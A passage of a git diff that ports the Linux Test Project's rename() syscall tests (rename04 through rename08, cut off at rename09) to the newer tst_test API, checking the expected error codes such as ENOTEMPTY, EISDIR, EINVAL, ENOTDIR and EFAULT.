-			SAFE_STAT(cleanup, TC[i].name2, &buf2);
-
-			/*
-			 * verify the new file or directory is the
-			 * same as the old one
-			 */
-			if (buf2.st_dev != *TC[i].olddev ||
-			    buf2.st_ino != *TC[i].oldino) {
-				tst_resm(TFAIL, "rename() failed: the "
-					 "new %s points to a different "
-					 "inode/location", TC[i].desc);
-				continue;
-			}
-			/*
-			 * verify that the old file or directory
-			 * does not exist
-			 */
-			if (stat(fname, &buf2) != -1) {
-				tst_resm(TFAIL, "the old %s still "
-					 "exists", TC[i].desc);
-				continue;
-			}
-
-			tst_resm(TPASS, "functionality is correct "
-				 "for renaming a %s", TC[i].desc);
-		}
-
-		/* reset things in case we are looping */
-
-		/* unlink the new file */
-		SAFE_UNLINK(cleanup, mname);
-
-		/* remove the new directory */
-		SAFE_RMDIR(cleanup, mdir);
-	}
-
-	cleanup();
-	tst_exit();
-
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Create a temporary directory and make it current. */
-	tst_tmpdir();
-
-	sprintf(fname, "./tfile_%d", getpid());
-	sprintf(mname, "./rnfile_%d", getpid());
-	sprintf(fdir, "./tdir_%d", getpid());
-	sprintf(mdir, "./rndir_%d", getpid());
-}
-
-/*
- * setup2() - set up the files and directories for the tests
- */
-void setup2(void)
-{
-	SAFE_TOUCH(cleanup, fname, 0700, NULL);
-
-	SAFE_STAT(cleanup, fname, &buf1);
-
-	/* save original file's dev and ino */
-	f_olddev = buf1.st_dev;
-	f_oldino = buf1.st_ino;
-
-	SAFE_TOUCH(cleanup, mname, 0700, NULL);
-
-	/* create "old" directory */
-	SAFE_MKDIR(cleanup, fdir, 00770);
-	SAFE_STAT(cleanup, fdir, &buf1);
-
-	d_olddev = buf1.st_dev;
-	d_oldino = buf1.st_ino;
-
-	/* create another directory */
-	SAFE_MKDIR(cleanup, mdir, 00770);
-}
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
-{
-
-	/*
-	 * Remove the temporary directory.
-	 */
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/rename/rename04.c b/testcases/kernel/syscalls/rename/rename04.c
index 32594a7..598ecd6 100644
--- a/testcases/kernel/syscalls/rename/rename04.c
+++ b/testcases/kernel/syscalls/rename/rename04.c
@@ -1,182 +1,50 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  07/2001 Ported by Wayne Boyer
+ * Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
 
-/*
- * NAME
- *	rename04
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	This test will verify that rename(2) failed when newpath is
- *      a non-empty directory and return EEXIST or ENOTEMPTY
- *
- * ALGORITHM
- *	Setup:
- *		Setup signal handling.
- *		Create temporary directory.
- *		Pause for SIGUSR1 if option specified.
- *              create the "old" directory and the "new" directory
- *              create a file uner the "new" directory
- *
- *	Test:
- *		Loop if the proper options are given.
- *                  rename the "old" to the "new" directory
- *                  verify rename() failed and returned ENOTEMPTY
- *
- *	Cleanup:
- *		Print errno log and/or timing stats if options given
- *		Delete the temporary directory created.
- *
- * USAGE
- *	rename04 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None.
+ * Verify that rename() fails with EEXIST or ENOTEMPTY when
+ * newpath is a non-empty directory.
  */
-#include <sys/types.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <unistd.h>
-#include <errno.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include <stdio.h>
+#include "tst_test.h"
 
-void setup();
-void cleanup();
+#define MNT_POINT "mntpoint"
+#define DIR1 "dir1"
+#define DIR2 "dir2"
+#define TEMP_FILE DIR2"/tmpfile"
 
-char *TCID = "rename04";
-int TST_TOTAL = 1;
-
-int fd;
-char tstfile[40];
-char fdir[255], mdir[255];
-struct stat buf1, buf2;
-dev_t olddev, olddev1;
-ino_t oldino, oldino1;
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
-
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	/*
-	 * perform global setup for test
-	 */
-	setup();
-
-	/*
-	 * check looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* rename a directory to a non-empty directory */
-
-		/* Call rename(2) */
-		TEST(rename(fdir, mdir));
-
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL, "rename(%s, %s) succeeded unexpectedly",
-				 fdir, mdir);
-			continue;
-		}
-
-		if (TEST_ERRNO == ENOTEMPTY) {
-			tst_resm(TPASS, "rename() returned ENOTEMPTY");
-		} else if (TEST_ERRNO == EEXIST) {
-			tst_resm(TPASS, "rename() returned EEXIST");
-		} else {
-			tst_resm(TFAIL, "Expected ENOTEMPTY or EEXIST got %d",
-				 TEST_ERRNO);
-		}
-
-	}
-
-	/*
-	 * cleanup and exit
-	 */
-	cleanup();
-	tst_exit();
-
+	SAFE_CHDIR(MNT_POINT);
+	SAFE_MKDIR(DIR1, 00770);
+	SAFE_MKDIR(DIR2, 00770);
+	SAFE_TOUCH(TEMP_FILE, 0700, NULL);
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
+static void run(void)
 {
+	TEST(rename(DIR1, DIR2));
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Create a temporary directory and make it current. */
-	tst_tmpdir();
-
-	sprintf(fdir, "./tdir_%d", getpid());
-	sprintf(mdir, "./rndir_%d", getpid());
-	sprintf(tstfile, "%s/tstfile_%d", mdir, getpid());
-
-	/* create "old" directory */
-	SAFE_MKDIR(cleanup, fdir, 00770);
-
-	SAFE_STAT(cleanup, fdir, &buf1);
-
-	/* save "old"'s dev and ino */
-	olddev = buf1.st_dev;
-	oldino = buf1.st_ino;
-
-	/* create another directory */
-	SAFE_MKDIR(cleanup, mdir, 00770);
-
-	SAFE_TOUCH(cleanup, tstfile, 0700, NULL);
-
-	SAFE_STAT(cleanup, mdir, &buf2);
-
-	/* save "new"'s dev and ino */
-	olddev1 = buf2.st_dev;
-	oldino1 = buf2.st_ino;
+	if (TST_RET == -1 && (TST_ERR == ENOTEMPTY || TST_ERR == EEXIST))
+		tst_res(TPASS | TTERRNO, "rename() failed as expected");
+	else if (TST_RET == 0)
+		tst_res(TFAIL, "rename() succeeded unexpectedly");
+	else
+		tst_res(TFAIL | TTERRNO, "rename() failed, but not with expected errno");
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *              completion or premature exit.
- */
-void cleanup(void)
-{
-
-	/*
-	 * Remove the temporary directory.
-	 */
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.needs_root = 1,
+	.mntpoint = MNT_POINT,
+	.mount_device = 1,
+	.all_filesystems = 1
+};
diff --git a/testcases/kernel/syscalls/rename/rename05.c b/testcases/kernel/syscalls/rename/rename05.c
index db10720..7894a92 100644
--- a/testcases/kernel/syscalls/rename/rename05.c
+++ b/testcases/kernel/syscalls/rename/rename05.c
@@ -1,179 +1,42 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  07/2001 Ported by Wayne Boyer
+ * Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
 
-/*
- * NAME
- *	rename05
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	This test will verify that rename(2) fails with EISDIR
- *
- * ALGORITHM
- *	Setup:
- *		Setup signal handling.
- *		Create temporary directory.
- *		Pause for SIGUSR1 if option specified.
- *              create the "old" file and the "new" directory
- *              rename the "old" file to the "new" directory
- *
- *	Test:
- *		Loop if the proper options are given.
- *                  verify rename() failed and returned EISDIR
- *
- *	Cleanup:
- *		Print errno log and/or timing stats if options given
- *		Delete the temporary directory created.
- *
- * USAGE
- *	rename05 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None.
+ * Verify that rename(2) fails with EISDIR when
+ * oldpath is not a directory and newpath is an existing directory.
  */
-#include <sys/types.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <unistd.h>
-#include <errno.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include <stdio.h>
+#include "tst_test.h"
 
-void setup();
-void cleanup();
+#define MNT_POINT "mntpoint"
+#define TEMP_FILE "tmpfile"
+#define TEMP_DIR "tmpdir"
 
-char *TCID = "rename05";
-int TST_TOTAL = 1;
-
-int fd;
-char fname[255], mdir[255];
-struct stat buf1, buf2;
-dev_t olddev, olddev1;
-ino_t oldino, oldino1;
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
-
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	/*
-	 * perform global setup for test
-	 */
-	setup();
-
-	/*
-	 * check looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* attempt to rename a file to a directory */
-		/* Call rename(2) */
-		TEST(rename(fname, mdir));
-
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL, "rename(%s, %s) succeed unexpected",
-				 fname, mdir);
-			continue;
-		}
-
-		if (errno != EISDIR) {
-			tst_resm(TFAIL, "Expected EISDIR got %d", TEST_ERRNO);
-		} else {
-			tst_resm(TPASS, "rename() returned EISDIR");
-		}
-	}
-
-	/*
-	 * cleanup and exit
-	 */
-	cleanup();
-	tst_exit();
-
+	SAFE_CHDIR(MNT_POINT);
+	SAFE_TOUCH(TEMP_FILE, 0700, NULL);
+	SAFE_MKDIR(TEMP_DIR, 00770);
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
+static void run(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Create a temporary directory and make it current. */
-	tst_tmpdir();
-
-	sprintf(mdir, "./rndir_%d", getpid());
-	sprintf(fname, "./tfile_%d", getpid());
-
-	/* create "old" file */
-	SAFE_TOUCH(cleanup, fname, 0700, NULL);
-	SAFE_STAT(cleanup, fname, &buf1);
-
-	/* save "old"'s dev and ino */
-	olddev = buf1.st_dev;
-	oldino = buf1.st_ino;
-
-	/* create another directory */
-	if (stat(mdir, &buf2) != -1) {
-		tst_brkm(TBROK, cleanup, "tmp directory %s found!", mdir);
-	}
-
-	SAFE_MKDIR(cleanup, mdir, 00770);
-
-	SAFE_STAT(cleanup, mdir, &buf2);
-
-	/* save "new"'s dev and ino */
-	olddev1 = buf2.st_dev;
-	oldino1 = buf2.st_ino;
+	TST_EXP_FAIL(rename(TEMP_FILE, TEMP_DIR),
+				EISDIR);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *              completion or premature exit.
- */
-void cleanup(void)
-{
-
-	/*
-	 * Remove the temporary directory.
-	 */
-	tst_rmdir();
-
-	/*
-	 * Exit with return code appropriate for results.
-	 */
-
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.needs_root = 1,
+	.mount_device = 1,
+	.mntpoint = MNT_POINT,
+	.all_filesystems = 1
+};
diff --git a/testcases/kernel/syscalls/rename/rename06.c b/testcases/kernel/syscalls/rename/rename06.c
index e415b41..82665d1 100644
--- a/testcases/kernel/syscalls/rename/rename06.c
+++ b/testcases/kernel/syscalls/rename/rename06.c
@@ -1,173 +1,42 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  07/2001 Ported by Wayne Boyer
+ * Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
 
-/*
- * NAME
- *	rename06
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	This test will verify that rename(2) failed in EINVAL
- *
- * ALGORITHM
- *	Setup:
- *		Setup signal handling.
- *		Create temporary directory.
- *		Pause for SIGUSR1 if option specified.
- *              create the "old" directory
- *              create the "new" directory under the "old" directory
- *
- *	Test:
- *		Loop if the proper options are given.
- *                  rename the "old" to the "new" directory
- *                  verify rename() failed and returned EINVAL
- *
- *	Cleanup:
- *		Print errno log and/or timing stats if options given
- *		Delete the temporary directory created.
- *
- * USAGE
- *	rename06 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None.
+ * Verify that rename(2) fails with EINVAL when
+ * an attempt is made to make a directory a subdirectory of itself.
  */
-#include <sys/types.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <unistd.h>
-#include <errno.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include <stdio.h>
+#include "tst_test.h"
 
-void setup();
-void cleanup();
+#define MNT_POINT "mntpoint"
+#define DIR1 "dir1"
+#define DIR2 DIR1"/dir2"
 
-char *TCID = "rename06";
-int TST_TOTAL = 1;
-
-int fd;
-char fdir[255], mdir[255];
-struct stat buf1, buf2;
-dev_t olddev, olddev1;
-ino_t oldino, oldino1;
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
-
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	/*
-	 * perform global setup for test
-	 */
-	setup();
-
-	/*
-	 * check looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* rename a directory to a subdirectory of itself */
-		/* Call rename(2) */
-		TEST(rename(fdir, mdir));
-
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL, "rename(%s, %s) succeed unexpected",
-				 fdir, mdir);
-			continue;
-		}
-
-		if (errno != EINVAL) {
-			tst_resm(TFAIL, "Expected EINVAL got %d", TEST_ERRNO);
-		} else {
-			tst_resm(TPASS, "rename() returned EINVAL");
-		}
-	}
-
-	cleanup();
-	tst_exit();
-
+	SAFE_CHDIR(MNT_POINT);
+	SAFE_MKDIR(DIR1, 00770);
+	SAFE_MKDIR(DIR2, 00770);
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
+static void run(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Create a temporary directory and make it current. */
-	tst_tmpdir();
-
-	sprintf(fdir, "./tdir_%d", getpid());
-	sprintf(mdir, "%s/rndir_%d", fdir, getpid());
-
-	/* create "old" directory */
-	if (stat(fdir, &buf1) != -1) {
-		tst_brkm(TBROK, cleanup, "tmp directory %s found!", fdir);
-	}
-	SAFE_MKDIR(cleanup, fdir, 00770);
-	SAFE_STAT(cleanup, fdir, &buf1);
-	/* save "old"'s dev and ino */
-	olddev = buf1.st_dev;
-	oldino = buf1.st_ino;
-
-	/* create another directory */
-	if (stat(mdir, &buf2) != -1) {
-		tst_brkm(TBROK, cleanup, "tmp directory %s found!", mdir);
-	}
-	SAFE_MKDIR(cleanup, mdir, 00770);
-
-	SAFE_STAT(cleanup, mdir, &buf2);
-
-	/* save "new"'s dev and ino */
-	olddev1 = buf2.st_dev;
-	oldino1 = buf2.st_ino;
+	TST_EXP_FAIL(rename(DIR1, DIR2),
+				EINVAL);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
-{
-
-	/*
-	 * Remove the temporary directory.
-	 */
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.needs_root = 1,
+	.mount_device = 1,
+	.mntpoint = MNT_POINT,
+	.all_filesystems = 1
+};
diff --git a/testcases/kernel/syscalls/rename/rename07.c b/testcases/kernel/syscalls/rename/rename07.c
index 5b95f84..51338db 100644
--- a/testcases/kernel/syscalls/rename/rename07.c
+++ b/testcases/kernel/syscalls/rename/rename07.c
@@ -1,154 +1,43 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * NAME
- *	rename07
- *
- * DESCRIPTION
- *	This test will verify that rename(2) failed in ENOTDIR
- *
- * CALLS
- *	stat,open,rename,mkdir,close
- *
- * ALGORITHM
- *	Setup:
- *		Setup signal handling.
- *		Create temporary directory.
- *		Pause for SIGUSR1 if option specified.
- *              create the "old" directory and the "new" file
- *              rename the "old" directory to the "new" file
- *
- *	Test:
- *		Loop if the proper options are given.
- *                  verify rename() failed and returned ENOTDIR
- *
- *	Cleanup:
- *		Print errno log and/or timing stats if options given
- *		Delete the temporary directory created.*
- * USAGE
- *	rename07 [-c n] [-e] [-i n] [-I x] [-p x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None.
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  07/2001 Ported by Wayne Boyer
+ * Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
-#include <sys/types.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <unistd.h>
-#include <errno.h>
 
-#include "test.h"
-#include "safe_macros.h"
+/*\
+ * [Description]
+ *
+ * Verify that rename(2) fails with ENOTDIR, when
+ * oldpath is a directory and newpath exists but is not a directory.
+ *
+ */
 
-void setup();
-void cleanup();
+#include <stdio.h>
+#include "tst_test.h"
 
-char *TCID = "rename07";
-int TST_TOTAL = 1;
+#define MNT_POINT "mntpoint"
+#define TEMP_DIR "tmpdir"
+#define TEMP_FILE "tmpfile"
 
-int fd;
-char mname[255], fdir[255];
-struct stat buf1, buf2;
-dev_t olddev, olddev1;
-ino_t oldino, oldino1;
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
-
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	/*
-	 * perform global setup for test
-	 */
-	setup();
-
-	/*
-	 * check looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* rename a directory to a file */
-		/* Call rename(2) */
-		TEST(rename(fdir, mname));
-
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL, "rename(%s, %s) succeeded unexpectedly",
-				 fdir, mname);
-			continue;
-		}
-
-		if (TEST_ERRNO != ENOTDIR) {
-			tst_resm(TFAIL, "Expected ENOTDIR got %d", TEST_ERRNO);
-		} else {
-			tst_resm(TPASS, "rename() returned ENOTDIR");
-		}
-	}
-
-	cleanup();
-	tst_exit();
-
+	SAFE_CHDIR(MNT_POINT);
+	SAFE_MKDIR(TEMP_DIR, 00770);
+	SAFE_TOUCH(TEMP_FILE, 0700, NULL);
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
+static void run(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Create a temporary directory and make it current. */
-	tst_tmpdir();
-
-	sprintf(fdir, "./rndir_%d", getpid());
-	sprintf(mname, "./tfile_%d", getpid());
-
-	/* create "old" directory */
-	if (stat(fdir, &buf1) != -1) {
-		tst_brkm(TBROK, cleanup, "tmp directory %s found!", fdir);
-	}
-
-	SAFE_MKDIR(cleanup, fdir, 00770);
-
-	SAFE_STAT(cleanup, fdir, &buf1);
-
-	/* save "old"'s dev and ino */
-	olddev = buf1.st_dev;
-	oldino = buf1.st_ino;
-
-	SAFE_TOUCH(cleanup, mname, 0700, NULL);
-
-	SAFE_STAT(cleanup, mname, &buf2);
-
-	/* save "new"'s dev and ino */
-	olddev1 = buf2.st_dev;
-	oldino1 = buf2.st_ino;
+	TST_EXP_FAIL(rename(TEMP_DIR, TEMP_FILE),
+				ENOTDIR);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *              completion or premature exit.
- */
-void cleanup(void)
-{
-
-	/*
-	 * Remove the temporary directory.
-	 */
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.needs_root = 1,
+	.mount_device = 1,
+	.mntpoint = MNT_POINT,
+	.all_filesystems = 1
+};
diff --git a/testcases/kernel/syscalls/rename/rename08.c b/testcases/kernel/syscalls/rename/rename08.c
index 2efdfd3..8a9a9b3 100644
--- a/testcases/kernel/syscalls/rename/rename08.c
+++ b/testcases/kernel/syscalls/rename/rename08.c
@@ -1,190 +1,43 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  07/2001 Ported by Wayne Boyer
+ * Copyright (c) 2022 SUSE LLC Avinesh Kumar <avinesh.kumar@suse.com>
  */
 
-/*
- * NAME
- *	rename08
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	This test will verify that rename(2) syscall failed in EFAULT
- *
- * ALGORITHM
- *	Setup:
- *		Setup signal handling.
- *		Create temporary directory.
- *		Pause for SIGUSR1 if option specified.
- *		Create a valid file to use in the rename() call.
- *
- *	Test:
- *		Loop if the proper options are given.
- *              1.  "old" is a valid file, newpath points to address
- *                   outside allocated address space
- *                  rename the "old" to the "new" file
- *                  verify rename() failed with error EFAULT
- *
- *              2.  "old" points to address outside allocated address space
- *                  ,"new" is a valid file
- *                  rename the "old" to the "new"
- *                  verify rename() failed with error EFAULT
- *
- *              3.  oldpath and newpath are all NULL
- *                  try to rename NULL to NULL
- *                  verify rename() failed with error EFAULT
- *	Cleanup:
- *		Print errno log and/or timing stats if options given
- *		Delete the temporary directory created.*
- * USAGE
- *	rename08 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *	where,  -c n : Run n copies concurrently.
- *		-e   : Turn on errno logging.
- *		-i n : Execute test n times.
- *		-I x : Execute test for x seconds.
- *		-P x : Pause for x seconds between iterations.
- *		-t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None.
+ * Verify that rename(2) fails with EFAULT, when
+ * oldpath or newpath points outside of accessible address space.
  */
-#include <sys/types.h>
-#include <fcntl.h>
-#include <sys/mman.h>
-#include <unistd.h>
-#include <errno.h>
 
-#include "test.h"
+#include <stdio.h>
+#include "tst_test.h"
 
-void setup();
-void cleanup();
+#define MNT_POINT "mntpoint"
+#define TEMP_FILE "tmpfile"
+#define INVALID_PATH ((void *)-1)
 
-char *TCID = "rename08";
+static void setup(void)
+{
+	SAFE_CHDIR(MNT_POINT);
+	SAFE_TOUCH(TEMP_FILE, 0700, NULL);
+}
 
-char *bad_addr = 0;
+static void run(void)
+{
+	TST_EXP_FAIL(rename(INVALID_PATH, TEMP_FILE),
+				EFAULT);
+	TST_EXP_FAIL(rename(TEMP_FILE, INVALID_PATH),
+				EFAULT);
+}
 
-int fd;
-char fname[255];
-
-struct test_case_t {
-	char *fd;
-	char *fd2;
-	int error;
-} TC[] = {
-#if !defined(UCLINUX)
-	/* "new" file is invalid - EFAULT */
-	{
-	fname, (char *)-1, EFAULT},
-	    /* "old" file is invalid - EFAULT */
-	{
-	(char *)-1, fname, EFAULT},
-#endif
-	    /* both files are NULL - EFAULT */
-	{
-	NULL, NULL, EFAULT}
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.needs_root = 1,
+	.mount_device = 1,
+	.mntpoint = MNT_POINT,
+	.all_filesystems = 1
 };
-
-int TST_TOTAL = ARRAY_SIZE(TC);
-
-int main(int ac, char **av)
-{
-	int lc;
-	int i;
-
-	/*
-	 * parse standard options
-	 */
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	/*
-	 * check looping state if -i option given
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* loop through the test cases */
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			TEST(rename(TC[i].fd, TC[i].fd2));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "call succeeded unexpectedly");
-				continue;
-			}
-
-			if (TEST_ERRNO == TC[i].error) {
-				tst_resm(TPASS, "expected failure - "
-					 "errno = %d : %s", TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-			} else {
-				tst_resm(TFAIL, "unexpected error - %d : %s - "
-					 "expected %d", TEST_ERRNO,
-					 strerror(TEST_ERRNO), TC[i].error);
-			}
-		}
-	}
-
-	cleanup();
-	tst_exit();
-
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Create a temporary directory and make it current. */
-	tst_tmpdir();
-
-	sprintf(fname, "./tfile_%d", getpid());
-
-	SAFE_TOUCH(cleanup, fname, 0700, NULL);
-
-#if !defined(UCLINUX)
-	bad_addr = mmap(0, 1, PROT_NONE,
-			MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0);
-	if (bad_addr == MAP_FAILED) {
-		tst_brkm(TBROK, cleanup, "mmap failed");
-	}
-	TC[0].fd2 = bad_addr;
-	TC[1].fd = bad_addr;
-#endif
-}
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *              completion or premature exit.
- */
-void cleanup(void)
-{
-
-	/*
-	 * Remove the temporary directory.
-	 */
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/rename/rename09.c b/testcases/kernel/syscalls/rename/rename09.c
index 9b20225..368a436 100644
--- a/testcases/kernel/syscalls/rename/rename09.c
+++ b/testcases/kernel/syscalls/rename/rename09.c
@@ -1,266 +1,71 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
